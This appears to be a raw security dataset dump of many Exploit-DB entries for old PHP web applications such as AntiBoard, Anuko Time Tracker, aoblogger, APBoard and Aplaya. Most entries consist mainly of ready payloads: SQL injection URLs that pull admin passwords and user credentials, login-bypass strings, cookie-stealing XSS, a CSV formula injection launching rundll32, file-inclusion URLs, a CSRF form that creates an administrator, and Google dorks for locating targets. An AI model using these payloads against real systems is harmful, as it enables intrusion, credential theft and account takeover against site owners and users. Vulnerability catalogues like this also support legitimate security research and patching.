deardaniel/secdata-raw huggingface dataset:
Exploit-DB #24330
Description: AntiBoard 0.6/0.7 - 'antiboard.php?feedback' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-07-28
Author: Josh Gilmour

Exploit:
source: https://www.securityfocus.com/bid/10821/info
 
Multiple vulnerabilities are reported to exist in the application due to insufficient sanitization of user-supplied data. The issues include various instances of SQL injection and a cross-site scripting vulnerability.
 
AntiBoard versions 0.7.2 and prior are affected by these issues.

/antiboard.php?thread_id=1&mode=threaded&range=&feedback=<script>alert(document.cookie);</script>
Exploit-DB #49173
Description: Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality
Type: webapps
Platform: php
Date: 2020-12-02
Author: Mufaddal Masalawala

Exploit:
#Exploit Title: Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality
#Date: 2020-11-11
#Exploit Author: Mufaddal Masalawala
#Vendor Homepage: https://www.anuko.com/
#Software Link: https://www.anuko.com/time-tracker/index.htm
#Version: 1.19.23.5311
#Tested on: Kali Linux 2020.3
#CVE: CVE-2020-27423
#Proof Of Concept:
Anuko Time Tracker v1.19.23.5311 and prior, lacks rate limit on the
password reset module which allows attackers to perform Denial of Service
attack on any legitimate user's mailbox. Attacker could perform Denial of
Service on a legitimate user's mailbox
To exploit this vulnerability:

   1. Goto 'Password Reset' module and enter any user's login name
   2. Click on 'Reset Password' and capture this request.
   3. Replay this request n number of times.
   4. The victim receives a password reset email the number of times the
   request is replayed.
Exploit-DB #49174
Description: Anuko Time Tracker 1.19.23.5311 - Password Reset leading to Account Takeover
Type: webapps
Platform: php
Date: 2020-12-02
Author: Mufaddal Masalawala

Exploit:
#Exploit Title: Anuko Time Tracker 1.19.23.5311 - Password Reset Vulnerability leading to Account Takeover
#Date: 2020-11-11
#Exploit Author: Mufaddal Masalawala
#Vendor Homepage: https://www.anuko.com/
#Software Link: https://www.anuko.com/time-tracker/index.htm
#Version: 1.19.23.5311
#Tested on: Kali Linux 2020.3
#CVE: CVE-2020-27422
#Proof Of Concept:
In Anuko Time Tracker v1.19.23.5311 and prior, the password reset link
emailed to the user doesn't expire once used, hence the attacker could use
the same link to take over the victim's account. An Attacker needs to have
the link for successful exploitation. A malicious user could use the same
password reset link of the victim multiple times to take over the account.
To exploit this vulnerability:

   1. Goto 'Password Reset' module and enter any user's login name
   2. Reset the password using the password reset link received in the email
   3. Use the same link again after resetting the password once
   4. Password is changed again using the previously used link.
Exploit-DB #49027
Description: Anuko Time Tracker 1.19.23.5325 - CSV/Formula Injection
Type: webapps
Platform: php
Date: 2020-11-10
Author: Mufaddal Masalawala

Exploit:
# Exploit Title: Anuko Time Tracker 1.19.23.5325 - CSV/Formula Injection
# Date: 2020-10-17
# Exploit Author: Mufaddal Masalawala
# Vendor Homepage: https://www.anuko.com/ <https://berrnd.de/>
# Software Link: https://www.anuko.com/time-tracker/index.htm
# Version: 1.19.23.5325
# Tested on: Kali Linux 2020.3
# CVE: CVE-2020-15255
# Proof Of Concept:
CSV Injection (aka Excel Macro Injection or Formula Injection) exists in
Reports feature in Anuko Time Tracker v1.19.23.5311 via User, Project and
Note data field that is mistreated while exporting to a CSV file.
To exploit this vulnerability:

   1. Login to the application, goto 'User' module and edit the user
   2. Inject the payload *=rundll32|'URL.dll,OpenURL calc.exe'!A* in the
   'Name' field
   3. Goto 'Project' module, add a new project with the same malicious
   payload in the 'Name' field
   4. Goto 'Time' module, select our created User, Project and again enter
   the same payload in 'Note' field
   5. Enter the rest of the details and click 'Submit'
   6. Now goto 'Reports' click Generateand download the CSV file
   7. Open the CSV file, allow all popups and our payload is executed
   (calculator is opened).
Exploit-DB #4365
Description: AnyInventory 2.0 - 'Environment.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-09-05
Author: ThE TiGeR

Exploit:
#AnyInventory => 2.0 Remote file inclusion

#Download script : http://physics.ramapo.edu/downloads/anyInventory-1.9.1.tar.gz

#Exploit :

#http://victime.com/[anyInventory_path]/environment.php?DIR_PREFIX= shell.txt?

#Dork : anyInventory, the most flexible and powerful web-based inventory system

#Discovered by ThE TiGeR

#Miro_Tiger100[at]Hotmail.com

# milw0rm.com [2007-09-05]
Exploit-DB #17102
Description: Anzeigenmarkt 2011 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2011-04-02
Author: Easy Laster

Exploit:
----------------------------Information------------------------------------------------
+Name : Anzeigenmarkt 2011 SQL Injection Vulnerability
+Autor : Easy Laster
+Date   : 02.04.2011
+Script  : ANZEIGENMARKT 2011
+Price : free
+Language : PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project.com
+Greetz to Team-Internet ,Underground Agents, websec-empire.to and free-hack.com
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr.ChAoS,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne,n3w7u,Maverick010101,s0red,c1ox,enco.
  
---------------------------------------------------------------------------------------
                                                                                       
 ___ ___ ___ ___                         _ _           _____           _         _ 
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|
                                              |___|                 |___|          
  
  
----------------------------------------------------------------------------------------
#Proof of Concept

www.site.com/anzeigenmarkt2011/index.php?d=list&q='+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,
45,46,47,48,49,50,51,52,53,concat(id,0x3a,pass,0x3a,email),55,56,57,58,59,6+from+markt_u
ser--+&kat=10
Exploit-DB #27106
Description: aoblogger 2.3 - 'create.php' Entry Creation
Type: webapps
Platform: php
Date: 2006-01-17
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/16286/info
  
AOblogger is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
Successful exploitation of these vulnerabilities could allow an attacker to:
  
- compromise the application
- access, modify, or create data
- steal cookie-based authentication credentials.
  
An attacker may also be able to exploit vulnerabilities in the underlying database implementation and to launch other attacks.
  
Version 2.3 is vulnerable; other versions may also be affected. 

An example of new entry creation without proper authorization has been provided:

<form action="http://www.example.com/aoblogger/create.php" method="post">
<input name="uza" value=1>
<input name="title" value="anytitle">
<textarea name="message">anymessage&lt;/textarea&gt;
</form>
Exploit-DB #27105
Description: aoblogger 2.3 - 'login.php?Username' SQL Injection
Type: webapps
Platform: php
Date: 2006-01-17
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/16286/info
 
AOblogger is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
Successful exploitation of these vulnerabilities could allow an attacker to:
 
- compromise the application
- access, modify, or create data
- steal cookie-based authentication credentials.
 
An attacker may also be able to exploit vulnerabilities in the underlying database implementation and to launch other attacks.
 
Version 2.3 is vulnerable; other versions may also be affected. 

An SQ- injection example has been provided:
http://www.example.com/aoblogger/login.php
username: username'/*
password: any
Exploit-DB #27104
Description: aoblogger 2.3 - URL BBcode Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-01-17
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/16286/info

AOblogger is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

Successful exploitation of these vulnerabilities could allow an attacker to:

- compromise the application
- access, modify, or create data
- steal cookie-based authentication credentials.

An attacker may also be able to exploit vulnerabilities in the underlying database implementation and to launch other attacks.

Version 2.3 is vulnerable; other versions may also be affected. 

A BBCode tag script-injection example has been provided:
[url]javascript:alert(123)[/url]
Exploit-DB #12721
Description: Apache Axis2 1.4.1 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-05-24
Author: HC

Exploit:
# Exploit Title: Apache Axis2(1.4.1) Local File Inclusion Vulnerability
# Date: 2010/5/24
# Author: HC
# Software Link: http://ws.apache.org/axis2/download/1_4_1/download.cgi
# Version: Axis2 1.4.1
# Tested on: Linux
# category: Webapps
# Code :

1.http://Domain Name/axis2/services/xxxxxxx?xsd=../conf/axis2.xml
(ex: http://Domain Name/axis2/services/Version?xsd=../conf/axis2.xml)

2. search keyword "password". &#65288;Get username and password&#65289;


3. Login http://Domain Name/axis2/axis2-admin/


google: inurl:"axis2/services" "list Services"
Exploit-DB #5471
Description: Apartment Search Script - 'listtest.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-19
Author: Crackers_Child

Exploit:
$ Script        : Apartment Search Script SQL Injection Vulnerability

$ Script Info   : http://www.yourfreeworld.com/script/apartment.asp

$ Script Price  : Only $79

$ Demo          : http://www.downlinegoldmine.com/apartment/

$ Author        : Crackers_Child

$ Contact       : cashr00t@hotmail.com

$ Note          : Erbabi ile vurulduysak sirtimizdan neyleyelim.Bir Yarali Kurt Misali

$ Note          : Her Yanimiz it Tuzagi . . .

$ Username Exp  : www.x.com/script_path/listtest.php?r=-1/**/union/**/select/**/1,admin%20from%20site_admin/*

$ Password Exp  : www.x.com/script_path/listtest.php?r=-1/**/union/**/select/**/1,password%20from%20site_admin/*

$ Admin Login   : /Site_Admin/ 

$ Greetz        : Milw0rm.Com & All Peace Warriors

# milw0rm.com [2008-04-19]
Exploit-DB #49448
Description: Apartment Visitors Management System 1.0 - 'email' SQL Injection
Type: webapps
Platform: php
Date: 2021-01-21
Author: CANKAT ÇAKMAK

Exploit:
# Exploit Title: Apartment Visitors Management System 1.0 - 'email' SQL Injection
# Date: 20.01.2021
# Exploit Author: CANKAT ÇAKMAK
# Vendor Homepage: https://phpgurukul.com/apartment-visitors-management-system-using-php-and-mysql/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=10395
# Version: V1.0
# Tested on: Windows 10

----------------------------------------------------

POST /avms/forgot-password.php HTTP/1.1
Host: test.com
Content-Length: 42
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: test.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88
Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://test.com/avms/forgot-password.php
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7


email=test%40gmail.com&contactno=1&submit=

----------------------------------------------------

poC:


Parameter: email (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: email=test@gmail.com' AND (SELECT 2600 FROM
(SELECT(SLEEP(5)))jpeB) AND 'WVFv'='WVFv&contactno=1&submit=
Exploit-DB #49335
Description: Apartment Visitors Management System 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2020-12-24
Author: Kshitiz Raj

Exploit:
# Exploit Title: Apartment Visitors Management System 1.0 - Authentication Bypass
# Date: 2020-12-24 
# Exploit Author:  Kshitiz Raj(manitorpotterk)
# Vendor Homepage: https://phpgurukul.com/apartment-visitors-management-system-using-php-and-mysql/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=10395
# Version: V1.0 
# Tested on: Windows 10/Kali Linux

Step 1 -  Go to url http://localhost/avms/index.php
<http://localhost/avms/index.php>*

Step 2 – Enter Username :-   ' or '1'='1'# *

Step 3 -  Enter Password - anything*
Exploit-DB #26543
Description: APBoard - 'thread.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-21
Author: ksa_ksa82

Exploit:
source: https://www.securityfocus.com/bid/15513/info

APBoard is prone to an SQL injection vulnerability. This is due to a lack of proper sanitization of user-supplied input before it is used in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/apboard/thread.php?id=210&start=[SQL]
Exploit-DB #22073
Description: APBoard 2.0 2 - Unauthorized Thread Reading
Type: webapps
Platform: php
Date: 2002-12-06
Author: DNA ESC

Exploit:
source: https://www.securityfocus.com/bid/6330/info

A vulnerability has been reported for APBoard that may allow unauthorized users to read postings in internal forums. The vulnerability is a result of the 'useraction.php' script failing to properly check user credentials.

www.board.de/useraction.php3?action=subscribe_thread&threadid=<private thread id>
Exploit-DB #14559
Description: APBoard 2.1.0 - 'board.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2010-08-05
Author: secret

Exploit:
############################################################################################################# 
## APBoard 2.1.0  / board.php?id= SQL Injection                                           ## 
## Author         : secret - mohammed.atta@hotmail.com                                   ## 
## Homepage       : http://swissfaking.net/                                             ## 
## Date           : 05 August, 2010                                                    ## 
############################################################################################################# 
  ____ ____ _____ ___   ____ ______   ____ ___   ___    _  __ 
  / __// __// ___// _ \ / __//_  __/  /  _// _ \ / _ |  / |/ / 
 _\ \ / _/ / /__ / , _// _/   / /    _/ / / , _// __ | /    / 
/___//___/ \___//_/|_|/___/  /_/____/___//_/|_|/_/ |_|/_/|_/  
                               /___/                           
  
#################################################### 
# APBoard 2.1.0  / board.php?id= SQL Injection
#################################################### 
# Discovered by : secret 
# Site          : http://swissfaking.net/ 
# Dork          : APBoard 2.1.0 © 2003-2010 APP - Another PHP Program
# Vendor        : http://www.php-programs.de/ 
# Version       : 2.1.0 and earlier 
# Exploit       : http://www.yoursite.de/board/board.php?id=X[SQL INJECTION]
# Tested on     : Microsoft OS
  
e.g. http://server/board/board.php?id=6[get union columns&USERS'] (-sqlinjection)
   
######################################################################################## 
  
#note : IRAN owns - mohammed.atta@hotmail.com
Exploit-DB #34705
Description: APBook 1.3 - Admin Login Multiple SQL Injections
Type: webapps
Platform: php
Date: 2009-07-21
Author: n3w7u

Exploit:
source: https://www.securityfocus.com/bid/43452/info

APBook is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

APBook 1.3.0 is vulnerable; other versions may also be affected. 

The following example data is available:

Put as username and password: 'or 1=1/*
Exploit-DB #11411
Description: apemCMS - SQL Injection
Type: webapps
Platform: php
Date: 2010-02-11
Author: Ariko-Security

Exploit:
============ { Ariko-Security - Advisory #1/2/2010 } =============

       SQL injection vulnerability in apemCMS 

Vendor's Description of Software:
# http://apem.com.pl/?sc=oferta

Dork:
#Powered by apemCMS

Application Info:
# Name: apemCMS
# Versions: ALL

Vulnerability Info:
# Type: SQL injection Vulnerability
# Risk: High

Fix: 
# 11.FEB Fixed

It was found that apemCMS does not validate properly the "id" parameter
 value.

Solution:
# Input validation of "id" parameter should be corrected.


Vulnerability:
# http://server/?mod=view_default&id=68[SQLi]

Credit:
# Discoverd By: MG
# Website: http://Ariko-security.com
# Contacts: support[-at-]ariko-security.com

Ariko-Security
vuln@ariko-security.com
tel.: [PII_REDACTED]2 (Mo-Fr 10.00-20.00 CET)
Exploit-DB #7482
Description: Aperto Blog 0.1.1 - Local File Inclusion / SQL Injection
Type: webapps
Platform: php
Date: 2008-12-15
Author: NoGe

Exploit:
 
===========================================================================================================
 
 
  [o] Aperto Blog 0.1.1 Local File Inclusion and SQL Injection Vulnerabilities
 
       Software : Aperto Blog version 0.1.1
       Vendor   : http://code.google.com/p/apertoblog/
       Download : http://code.google.com/p/apertoblog/downloads/list
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Blog     : http://evilc0de.blogspot.com
 
 
===========================================================================================================
 
 
  [o] Vulnerable file
 
       admin.php
 
        if(isset($_GET['action'])) {
        if($_GET['action']=="logout") {
        session_destroy();
        go('index.php');
        } else {
        if(file_exists($_GET['action'].".php")) {
        include($_GET['action'].".php");
        } else {
        echo "404";
 
       index.php
 
        if(!$_GET['get']) {
        $articles = mysql_query("SELECT * FROM articles ORDER BY id DESC LIMIT 10");
        while($row = mysql_fetch_array($articles)) {
        showarticle($row, $settings[5]);
        }
        } elseif(file_exists($_GET['get'].".php")) {
        include($_GET['get'].".php");
        } else {
        echo "404";
 
       categories.php
 
        if(isset($_GET['id'])) {
        $cid = $_GET['id'];
        //Load category info
        $getcat = mysql_query("SELECT * FROM categories WHERE id='$cid'");
 
 
 
  [o] Exploit
 
       [ Local File Inclusion ]
 
     http://localhost/[path]/admin.php?action=[LFI]
     http://localhost/[path]/index.php?get=[LFI]
 
       [ SQL Injection ]
 
     http://localhost/[path]/categories.php?id=[SQL]
 
 
===========================================================================================================
 
 
  [o] Greetz
 
       MainHack BrotherHood [ http://mainhack.com/ ]
       Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 loqsa
       H312Y yooogy mousekill }^-^{ kaka11 martfella
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke
 
       GANYANG MALINGSIAL!!! [ http://malingsial.serverisdown.org/ ]
 
         
===========================================================================================================

# milw0rm.com [2008-12-15]
Exploit-DB #10654
Description: APHP ImgList 1.2.2 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-25
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : APHP ImgList 1.2.2 Cross Site Scripting Vulnerability                   |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # Web Site : www.iq-ty.com                                                           |
| # Script   : Powered by PHP ImgList 1.2.2  (http://www.liquidpulse.net/s.lp?id=17)   |
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       |
| # Bug      : XSS                                                                     | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1- http://127.0.0.1:80/pics-small/imlist.php?imx=view&img=1<script/xss+src=http://127.0.0.0.1/xss.js?[PII_REDACTED]60></script>&cwd=%2E%2Fimage
|
| 2- http://127.0.0.1/pics-small/imlist.php?imx=view&img=1<img+src=http://127.0.0.1/matrix.jpg+onload=alert[PII_REDACTED]60)>&cwd=%2E%2Fimage
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
-------------------------------------------------------------------------------------------
Exploit-DB #45718
Description: Aplaya Beach Resort Online Reservation System 1.0 - SQL Injection / Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2018-10-29
Author: Ihsan Sencan

Exploit:
# Exploit Title: Aplaya Beach Resort Online Reservation System 1.0 - Multiple Vulnerabilities
# Dork: N/A
# Date: 2018-10-29
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.sourcecodester.com/users/janobe
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/aplaya.zip
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/admin/mod_users/controller.php?action=edit
# 
POST /[PATH]/admin/mod_users/controller.php?action=edit HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 114
account_id=5&name=Janno%2BPalacios&deptid=&username=efe%40omerefe.com&deptid=&pass=efe&type=Administrator&save=
HTTP/1.1 200 OK
Date: Mon, 29 Oct 2018 08:20:21 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Set-Cookie: PHPSESSID=7v7av68r870gj66ouhf1sk3260; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 57
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

# POC: 
# 2)
# http://localhost/[PATH]/admin/mod_room/controller.php?action=editimage
# 
<html>
<body>
<form action="http://localhost/[PATH]/admin/mod_room/controller.php?action=editimage" enctype="multipart/form-data" method="POST">
<input id="image" name="image" type="file"></td>
<button name="save" type="submit">Save</button>
</form>
</body>
</html>

# POC: 
# 3)
# http://localhost/[PATH]/admin/mod_room/index.php?view=view&id=[SQL]
# 
#....